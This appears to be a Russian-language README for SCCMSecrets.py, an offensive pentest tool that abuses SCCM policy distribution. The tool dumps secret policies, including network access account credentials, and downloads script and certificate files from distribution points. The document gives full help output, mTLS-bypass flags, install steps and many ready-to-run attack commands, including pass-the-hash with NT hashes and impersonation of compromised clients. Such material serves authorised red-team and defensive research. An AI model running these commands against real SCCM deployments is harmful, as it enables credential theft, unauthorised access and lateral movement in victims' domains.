
SCCMSecrets.py нацелен на эксплуатацию распространения политик SCCM для сбора учётных данных, получения начального доступа и горизонтального перемещения.
SCCMSecrets.py — это инструмент для эксплуатации политик SCCM. Он выходит за рамки извлечения учётных данных NAA и нацелен на комплексный подход к эксплуатации политик SCCM. Инструмент может запускаться с различных уровней привилегий и пытается выявить потенциальные ошибки конфигурации, связанные с распространением политик. Более подробная информация об инструменте и его использовании доступна в соответствующей статье: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
Доступны две подкоманды: policies и files.
Эта подкоманда взаимодействует с точкой управления SCCM для получения содержимого всех секретных политик (включая конфигурацию NAA, последовательности задач, содержащие учётные данные, или переменные коллекций). Для этого необходимо одобренное устройство SCCM, которое можно получить тремя способами.
--altauth, SCCMSecrets воспользуется альтернативной конечной точкой аутентификации, что позволяет обойти требования mTLS и получить одобренное устройство без учётных данных и без ошибки конфигурации автоматического одобрения устройств (подробнее здесь). Это работает только в том случае, если точка управления настроена на использование HTTPS, И сайт SCCM настроен на принудительное использование HTTPS на уровне всего сайта (если точка управления использует HTTPS, но сайт допускает как HTTP, так и HTTPS, устройства не одобряются автоматически).--use-existing-device). Этот аргумент ожидает каталог, содержащий файл guid.txt (GUID устройства) и файл key.pem (закрытый ключ устройства). Это может быть устройство, созданное при предыдущем выполнении SCCMSecrets, или устройство, соответствующее скомпрометированному легитимному клиенту SCCM.Обратите внимание, что политики SCCM связаны с коллекциями. Регистрация нового устройства поместит его в коллекции по умолчанию — таким образом, будут получены только секретные политики из коллекций по умолчанию. Именно поэтому маскировка под скомпрометированный легитимный клиент SCCM с помощью --use-existing-device может быть интересной. Такой легитимный клиент может входить в пользовательские коллекции, связанные с дополнительными секретными политиками.
Результаты будут сохранены в подкаталоге каталога loot (формат: [timestamp]_policies).
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Эта подкоманда индексирует файлы, хранящиеся на точке распространения, и загружает интересные из них. SCCMSecrets сначала попытается определить, включён ли анонимный доступ (нестандартная конфигурация). Если это так, файлы можно индексировать и загружать без аутентификации. В противном случае потребуются учётные данные домена.
Можно загружать файлы по расширению. SCCMSecrets проиндексирует файлы всех пакетов, размещённых на точке распространения (в результате будет создан файл index.txt в формате Unix tree), и загрузит файлы с указанными расширениями. Если указать пустой список расширений, будет выполнена только индексация файлов.
В обоих случаях из созданного индексного файла можно использовать флаг --urls для загрузки конкретных интересующих файлов (без повторного индексирования).
Обратите внимание, что требования mTLS, если они реализованы, можно обойти, указав флаг --nocert.
Результаты будут сохранены в подкаталоге каталога loot (формат: [timestamp]_files).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
По умолчанию клиенты могут взаимодействовать со своей точкой управления или точкой распространения по обычному HTTP. Однако установка SCCM может быть настроена более безопасно с принудительным использованием HTTPS. В этом случае (для точки управления, точки распространения или обеих) SCCM потребует аутентификацию клиента с использованием внутреннего сертификата PKI с назначением «аутентификация клиента».
Выполнить описанные выше атаки по-прежнему возможно — однако необходимо указать действительный сертификат PKI через флаги --pki-cert и --pki-key (в формате PEM). URL-адреса точки управления / точки распространения также должны начинаться с https://.
Обратите внимание, что флаги --altauth (для политик) и --nocert (для файлов) позволяют обойти аутентификацию mTLS (подробнее здесь).
Вы можете установить SCCMSecrets.py, клонировав репозиторий и установив зависимости.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
Ниже приведены некоторые примеры команд.
Получение секретных политик без указания учётной записи компьютера. Будет предпринята попытка воспользоваться ошибкой конфигурации автоматического одобрения устройств (нестандартная конфигурация)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
Получение секретных политик с указанием учётной записи компьютера. Это будет работать в конфигурациях SCCM по умолчанию
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
Получение секретных политик уже существующего устройства. Каталог compromised_device содержит файлы guid.txt и key.pem.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
Получение секретных политик, когда точка управления принудительно использует HTTPS
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
Получение секретных политик с использованием альтернативной конечной точки аутентификации, позволяющей обойти аутентификацию mTLS и получить одобренное устройство без предоставления учётных данных (подробнее здесь). Работает только тогда, когда точка управления использует HTTPS и HTTPS принудительно используется на уровне всего сайта
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
Получение файлов точки распространения без предоставления учётных данных. Будет предпринята попытка воспользоваться анонимным доступом к точке распространения (нестандартная конфигурация)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
Получение файлов точки распространения с учётными данными. Это будет работать в конфигурациях SCCM по умолчанию
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
Получение файлов с определённым списком расширений. Аутентификация с использованием хеша учётной записи компьютера
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
Получение конкретных файлов с точки распространения путём указания списка URL-адресов (по одному в строке)
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
Получение файлов точки распространения, когда точка распространения принудительно использует HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
Обход аутентификации mTLS, когда точка распространения принудительно использует HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert